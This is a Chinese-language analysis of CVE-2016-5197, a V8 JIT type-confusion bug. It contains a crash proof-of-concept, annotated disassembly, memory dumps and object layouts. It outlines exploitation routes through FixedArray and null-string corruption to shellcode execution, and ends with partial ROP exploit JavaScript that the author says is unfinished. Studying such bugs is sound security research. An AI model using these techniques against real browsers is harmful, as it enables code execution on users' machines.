CVE-2016-5197 漏洞分析
漏洞概览
漏洞是由于 v8 优化后的 JIT 代码没有对全局对象进行类型校验造成的,通过 JIT 代码操作未校验的全局对象可以达到越界读写
漏洞详情
漏洞样本
<script>
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
}
for(var i=0; i<10000; ++i) {
Ctor();
}
for(var i=0; i<10000; ++i) {
Check();
}
var n;
Ctor();
Check();
parseInt('AAAAAAAA') // trigger crash
</script>
漏洞成因
阅读上述的漏洞样本,可大体得知漏洞触发的流程。
- 样本首先创建两个函数 Ctor()、Check()。Ctor() 函数为全局变量 n 赋值;Check() 函数设置全局变量 n 的自定义域 xyz
- 多次重复调用 Ctor()、Check(),使得 v8 引擎开始对这两个函数进行编译优化(Crankshaft)
- 创建全局变量 n
- 调用 Ctor() 重新设置全局变量 n 的值
- 调用 Check() 设置 n 的自定义域 xyz
- 调用 *parseInt('AAAAAAAA') * 触发漏洞
乍一看漏洞触发流程会让人觉得一头雾水,摸不着头脑。其实这个漏洞的触发涉及到 v8 对象在内存中的存储问题。下面我们通过一步一步的分析理清该漏洞的触发流程
第一个需要理解的问题是 v8 对于 整型 的存储。v8 引擎在设计内存存储时,为了将对象指针和其他数据区分,使用 tag Object 技术:_ v8 中所有的对象指针最后一位均被设置成 1_。此时 整型 就需要进行左移来防止奇数数字可能产生的干扰。于是数字在 v8 内存中存储时会左移一位,如 0x1000
在内存中就会变成 0x2000
。而当 整型 的最高数据位为 1 时(0x40000000),左移便会造成整数溢出(0x40000000 << 1 = -2147483648),这时 v8 将以 Number 对象的形式将大于 0x4000000
的整型以浮点数形式存储在内存中。
样本中数据 0x826852f4
会被转化为浮点数进行赋值,相应的代码为
07318742 8b4007 mov eax,dword ptr [eax+7]
07318745 b90000805e mov ecx,5E800000h
0731874a 660f6ec9 movd xmm1,ecx
0731874e b90a4de041 mov ecx,41E04D0Ah
可以在内存中搜索这段二进制数据来定位 JIT 产生的代码
8b 40 07 b9 00 00 80 5e 66 0f 6e c9 b9 0a 4d e0
搜索得到的代码如下,为 Check() 函数编译优化之后的结果,关键部分的含义已在注释中说明,可以看到 Check() 在对 n 的 xyz 域进行操作时,直接从全局空间中取出变量,并按照偏移直接操作,期间并未对变量类型、变量自定义属性数组进行任何合法性的校验。
04f67161 89e5 mov ebp,esp
04f67163 56 push esi
04f67164 57 push edi
04f67165 83ec04 sub esp,4
04f67168 8b45fc mov eax,dword ptr [ebp-4]
04f6716b 8945f4 mov dword ptr [ebp-0Ch],eax
04f6716e 89c6 mov esi,eax
04f67170 3b25105d0701 cmp esp,dword ptr ds:[1075D10h]
04f67176 7305 jae 04f6717d
04f67178 e84378fdff call 04f3e9c0
04f6717d b8dda4d206 mov eax,6D2A4DDh
04f67182 8b4007 mov eax,dword ptr [eax+7] // 全局变量 n
04f67185 b90000805e mov ecx,5E800000h
04f6718a 660f6ec9 movd xmm1,ecx
04f6718e b90a4de041 mov ecx,41E04D0Ah
04f67193 660f3a22c901 pinsrd xmm1,ecx,1
04f67199 8b4003 mov eax,dword ptr [eax+3] // 取 n 的自定义属性数组
04f6719c 8b4007 mov eax,dword ptr [eax+7] // 取 n 的 xyz 域
04f6719f f20f114803 movsd mmword ptr [eax+3],xmm1 // 为 xyz 域赋值
04f671a4 b8a181e004 mov eax,4E081A1h
04f671a9 89ec mov esp,ebp
04f671ab 5d pop ebp
04f671ac c20400 ret 4
函数 Ctor() 对应的部分优化代码如下
04f66b60 8178ff6daa0005 cmp dword ptr [eax-1],500AA6Dh
04f66b67 0f8538000000 jne 04f66ba5
04f66b6d b9dda4d206 mov ecx,6D2A4DDh // 设置全局变量 n 为 新创建的 Set()
04f66b72 894107 mov dword ptr [ecx+7],eax
因此当 6D2A4DDh
中保存的全局变量为一个全新的对象时,这里的访问便会导致越界写入。
这里第二个需要理解的问题就是 v8 中 js 对象的自定义属性在内存中的情况。以样本中的 Set 对象为例,对象偏移 0x4 的位置保存一 FixedArray 数组指针,用于保存 Set 对象中可能出现的自定义属性,当有发生 Set 对象的自定义属性访问时,v8 直接按照该属性声明的顺序以偏移的形式从对象的 FixedArray 中取出数据完成访问操作。当对象初始化时,由于尚没有其他的自定义属性存在,因此该位置将使用内置对象 empty_fixed_array 进行初始化。(这部分信息可以通过阅读Chrome源码明确的观察到)
在样本中漏洞触发时会将内置对象 empty_fixed_array 取出当作已经有数据的 FixedArray 对象来使用,直接通过偏移计算的方式取 FixedArray 中保存的第一个对象进行操作。这里由于数据 0x826852f4
的关系,会将取出第一个对象指针直接作为 Number 使用。
查看 empty_fixed_array 在内存中的情况,由于其是内置对象,会在 v8 引擎初始化时就和其他内置对象一起被创建,因此其在内存中的相对存储情况是固定的
0:000> dd 04908125 -1
04908124 04b08185 00000000 04b081b1 3043247e
04908134 00000008 6c6c756e 04b081b1 ae4b45da
04908144 0000000c 656a626f 00007463 04b08235
可以看出 empty_fixed_array 其后紧跟的是 null 内置字符串和 object 内置字符串。其中被 Check() 当作 Number 处理的对象指针为 'null' 内置字符串的 map,也即 initial_string 类的 map,其中保存了 initial_string 型对象的的类型、结构等重要信息。这次越界写入操作便会修改这个 map 的信息,造成的结果即使得所有 initial_string 类型的对象都会出现问题。
map 被修改前后对比如下,其中类型的关键结构信息被完全破坏
0:000> dd 04b081b1 -1
04b081b0 04b0812d 00006600 00190004 082003ff
04b081c0 04908101 04908101 00000000 0490811d
0:000> dd 04b081b1 -1
04b081b0 04b0812d 5e800000 41e04d0a 082003ff
04b081c0 04908101 04908101 00000000 0490811d
故而在样本调用 parseInt("AAAAAAAA")
试图将 initial_string 类型的字符串 "AAAAAAAA" 转化为整型时,便会出现问题,导致崩溃。
漏洞利用
该漏洞目前可以实现的有两种利用方法,第一种和 flanker 演讲时所提出的利用思路不同,后来根据 CanSecWest 的PPT 实现了第二种利用方法
FixedArray利用思路
该思路通过越界写自定义 FixedArray 的方式实现利用,相比于上一种方法,该方式更加稳定和优雅,受其他因素干扰也更少
具体的利用步骤为
- 在调用 Ctor() 为全局变量 n 重新赋值之后,为 n 指定一自定义属性,使 v8 引擎为 n 新建一 FixedArray 。此时新建的 FixedArray 位于内存区块的 new_space 部,所有新分配的对象均处于这个区
- 新建一 Array 对象,布局于 FixedArray 之后;将 Ctor 作为 Array 的一个成员
- 新建一 ArrayBuffer 对象,布局于 Array 之后
- 使用 Check() 函数越界写,由于此时 Array 对象正位于 FixedArray 之后,因此可以越界写 Array 的 length 字段,得到一个可以越界操作的 Array
- 使用该越界 Array 可以进行越界读写操作。由于 ArrayBuffer 对象布局于 Array 对象之后,使用 Array 将 ArrayBuffer 的 backing_store 修改为 Ctor 的地址。这样就可以使用 ArrayBuffer 修改 Ctor 中已经具有读写执行权限的代码段
- 将 shellcode 写入 Ctor 的代码段,调用 Ctor() 便可以成功执行 shellcode
null_str利用思路
该思路通过越界写内置对象 null 来进行,相比于前两种方法,这里硬编码的地方更少,看起来也更加优雅
具体的利用步骤为
- 设定三个全局变量 n,m,l,并使用 Ctor() 函数为这些全局变量赋值,此时要保证这三个全局变量偏移0x4 的位置均是 empty_fixed_array,这里选用了 set,map,ArrayBuffer。(这里若均使用同种对象类型,则优化后的函数代码会相互影响,但是看 Keen 在 Cansewest 上的 PPT 里的说法好像也不会,暂时不懂)
- 触发漏洞,使用 Hack(obj) 函数通过 n 对象越界写 null_str,修改 null_str 的数据部分为传入的 obj,由于函数优化的关系 v8 会直接将对象放至于指定位置,接着通过调用 null_str.charCodeAt() 便可以逐字节读出对象地址,这里我们通过它泄漏一个 ArrayBuffer,和一个函数对象
- 再次使用Hack(obj) 函数,将null_str 对象写入其 value 部分
- 再次触发漏洞,使用 Hack3(addr) 函数通过 m 对象越界写 null_str,此时函数会将 null_str 对象的 value 部分值当作指针来解析,由于之前已经将 null_str 对象写入了, 从而这里可以操作 null_str 对象的 hash 和 length 字段,且可以写入任意值,这里将 ArrayBuffer 的一个偏移写入 length 字段
- 再次触发漏洞,使用 Hack4(addr) 函数通过 l 对象越界写 null_str,此时函数会将 null_str 对象的 length 值当成一个指针来解析,这里操作的是之前写入的 ArrayBuffer 偏移址,通过该偏移值可以操作到 ArrayBuffer 的 backstore,修改其为 JIT 函数体部分
- 将 shellcode 写入 JIT 的代码段,调用 该函数便可以成功执行 shellcode
附录
分析和利用过程中使用到的关键数据结构如下
String
String{
+0x00 map
+0x04 hash
+0x08 length
+0x0C value
......
}
Array
Array{ //大小 0x18
+0x00 map
+0x04 empty_fixed_array
+0x08 data pointer // fixed array
+0x0c array length
}
FixedArray
FixedArray{ // 大小随数据而定
+0x00 map
+0x04 length
data
}
Uint32Array
Uint32Aray{ //(TypedArray) 大小 0x28
+0x00 map
+0x04 empty_fixed_array
+0x08 ArrayPointer
+0x0c ArrayBuffer Pointer
+0x10 0
+0x14 ArrayBuffer size
+0x18 NaN
+0x1c ArrayLength
+0x20 0
+0x24 0
}
ArrayBuffer
ArrayBuffer{ // 大小 0x20
+0x00 map
+0x04 empty_fixed_array
+0x08 empty_fixed_array
+0x0c buffer_size
+0x10 backing_store
+0x14 4
+0x18 0
+0x1c 0
}
map
map{ // 大小 0x2c
+0x00 map
+0x04 istance_size // byte
+0x05 InObjectProperties_or_ConstructorFunctionIndex //byte
+0x06 unused
+0x07 visitorId //byte
+0x08 instance_type //byte
+0x09 bit_field //byte
+0x0a bit_field2 //byte
+0x0b unused
+0x0c bit_field3 //byte
+0x10 prototype
+0x14 constructor
+0x18 transitor_or_protytypeInfo
+0x1c discriptor
+0x20 CodeCache
+0x24 DependentCode
+0x28 WeakCellCache
}
ROP利用思路
该思路系从原始样本中直接衍生联想而来,通过修改 initial_string 类型,可将字符串类型从 one_byte_string 修改为 two_byte_string,从而使用该字符串便可以越界读取其后布置的对象信息,实现信息泄漏,通过泄漏出的信息构建 ROP 链,布局在内存中。接着将字符串类型从 one_byte_string 修改为 external_string ,这样便可以控制 EIP 劫持程序流程。该思路在实际使用过程中遇到了一些问题,尚未实现利用,具体的方法还在思考中。
具体的利用思路为
- 修改 initial_string map,将字符串类型从 one_byte_string 修改为 two_byte_string,使用
charCodeAt
函数泄漏刚刚布局的 initial_string 对象后面的数据地址 - 修改 initial_string map,将字符串类型从 one_byte_string 修改为 external_string,使用
charCodeAt
读取泄露对象的内部敏感数据,进一步计算出相对应的模块基址 - 通过泄漏出的模块基址构造 ROP 链,使用堆喷射或者其他方法,将 ROP + shellcode 布局在堆上的已知位置
- 修改 initial_string map,将字符串类型从 one_byte_string 修改为 external_string,使用
paseInt
控制 EIP 跳转到布局的 ROP 中
ROP 利用代码
<html>
<script>
function Ctor() {
n = new Set();
}
function Leak() {
n.xyz = 3.4766779122194493e-308; // string to unicode
return "AAAABBBBCCCCAAAA".charCodeAt(12).toString(16) // over read
}
function Read() {
n.xyz = 3.4766991238883129e-308; // string to exteral_string
return "addr".charCodeAt(0).toString(16) // abtrary read
}
function Recovery() {
n.xyz = 3.4766863919135671e-308;
}
function Control() {
n.xyz = 3.4766991238883129e-308; // string to exteral_string
ParseInt("addr"); // call [addr]+c
}
for(var i=0; i<10000; ++i) {
Ctor();
}
for(var i=0; i<10000; ++i) {
Leak();
}
for(var i=0; i<10000; ++i) {
Read();
}
for(var i=0; i<10000; ++i) {
Recovery();
}
for(var i=0; i<10000; ++i) {
Control();
}
var n
</script>
</html>